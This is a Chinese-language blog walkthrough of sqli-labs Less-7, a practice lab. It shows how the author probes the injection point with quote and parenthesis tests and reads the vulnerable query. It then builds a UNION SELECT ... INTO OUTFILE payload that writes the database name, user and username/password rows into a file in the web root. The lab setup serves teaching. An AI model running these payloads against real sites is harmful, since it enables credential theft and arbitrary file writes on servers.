草庐IT

sqli-labs基础篇【第七关】详细解析

Lucky小小吴 2025-01-03 原文

Ⅰ 验证是否注入点

  从下面的注入测试来看,只有两种输出结果
  如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax”

?id=1 --+   --You are in.... Use outfile......
?id=1' --+  -- You have an error in your SQL syntax
?id=-1' --+ --You have an error in your SQL syntax
?id=1\ --+  --You are in.... Use outfile......

查看是否存在双引号注入
正常输出,说明有执行,存在双引号注入

?id=1"  --+ -- You are in.... Use outfile......

查看是否存在闭合特殊符号

?id=1' and 1=1--+  -- 报错,sql没有执行,存在闭合
?id=1') and 1=1--+  --报错,还有一个闭合
?id=1')) and 1=1--+  -- 正常输出

推测注入点:双引号+两个闭合


看一下源码,确定是是双引号+单引号注入

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

构建个playload

?id=1')) --+ 

Ⅱ 爆出列数和回显位

常规注入,显示出列数和回显位

Ⅲ 注入开始

  根据提示,“You are in… Use outfile…”,可以使用文件上传漏洞,进行注入
注:也有用 一句话木马进行注入 ,在这里直接利用outfile,上传文件

(1)环境配置

  首先在进行文件上传漏洞注入前,先确定下自己的靶场环境,之前是使用线上的sqli-labs靶场,但是到了第七关就不好用了,因为我不知道线上靶场的web目录放在哪里,不好搞。
  所以用phpStudy+sqli-labs+linux,搭建了一个靶场,进行练习
正常情况下,phpStudy配置好,就可以运行sqli-labs

  但mysql注入的文件上传,需要有权限,需要在phpStudy上,对mysql进行设置,添加一个“secure-file-priv = ”,添加好了,就重启mysql

(2)注入格式

根据前面得出的可注入点,进行编写注入playload

index.php?id=-1')) union select 1,2,(XXXsql语句) 
									 into outfile  '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+

  • XXXSQL语句:用之前的常规sql注入语句替换即可
  • outfile:后面接的是,注入页面的文件路径,以及输入的文件名

举个例子:爆数据

index.php?id=-1')) 
				union select 
				database(),
				user(),
				(select concat_ws('~',id,username,password) 
				from security.users limit 0,1) 
				into outfile  '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+


有关sqli-labs基础篇【第七关】详细解析的更多相关文章

  1. Ruby 解析字符串 - 2

    我有一个字符串input="maybe(thisis|thatwas)some((nice|ugly)(day|night)|(strange(weather|time)))"Ruby中解析该字符串的最佳方法是什么?我的意思是脚本应该能够像这样构建句子:maybethisissomeuglynightmaybethatwassomenicenightmaybethiswassomestrangetime等等,你明白了......我应该一个字符一个字符地读取字符串并构建一个带有堆栈的状态机来存储括号值以供以后计算,还是有更好的方法?也许为此目的准备了一个开箱即用的库?

  2. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  3. ruby - 用逗号、双引号和编码解析 csv - 2

    我正在使用ruby​​1.9解析以下带有MacRoman字符的csv文件#encoding:ISO-8859-1#csv_parse.csvName,main-dialogue"Marceu","Giveittohimóhe,hiswife."我做了以下解析。require'csv'input_string=File.read("../csv_parse.rb").force_encoding("ISO-8859-1").encode("UTF-8")#=>"Name,main-dialogue\r\n\"Marceu\",\"Giveittohim\x97he,hiswife.\"\

  4. ruby-on-rails - 我更新了 ruby​​ gems,现在到处都收到解析树错误和弃用警告! - 2

    简而言之错误:NOTE:Gem::SourceIndex#add_specisdeprecated,useSpecification.add_spec.Itwillberemovedonorafter2011-11-01.Gem::SourceIndex#add_speccalledfrom/opt/local/lib/ruby/site_ruby/1.8/rubygems/source_index.rb:91./opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/rails/gem_dependency.rb:275:in`==':und

  5. postman接口测试工具-基础使用教程 - 2

    1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,

  6. 软件测试基础 - 2

    Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功

  7. 在VMware16虚拟机安装Ubuntu详细教程 - 2

    在VMware16.2.4安装Ubuntu一、安装VMware1.打开VMwareWorkstationPro官网,点击即可进入。2.进入后向下滑动找到Workstation16ProforWindows,点击立即下载。3.下载完成,文件大小615MB,如下图:4.鼠标右击,以管理员身份运行。5.点击下一步6.勾选条款,点击下一步7.先勾选,再点击下一步8.去掉勾选,点击下一步9.点击下一步10.点击安装11.点击许可证12.在百度上搜索VM16许可证,复制填入,然后点击输入即可,亲测有效。13.点击完成14.重启系统,点击是15.双击VMwareWorkstationPro图标,进入虚拟机主

  8. ES基础入门 - 2

    ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear

  9. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  10. ruby - 如何使用 Nokogiri 解析纯 HTML 表格? - 2

    我想用Nokogiri解析HTML页面。页面的一部分有一个表,它没有使用任何特定的ID。是否可以提取如下内容:Today,3,455,34Today,1,1300,3664Today,10,100000,3444,Yesterday,3454,5656,3Yesterday,3545,1000,10Yesterday,3411,36223,15来自这个HTML:TodayYesterdayQntySizeLengthLengthSizeQnty345534345456563113003664354510001010100000344434113622315

随机推荐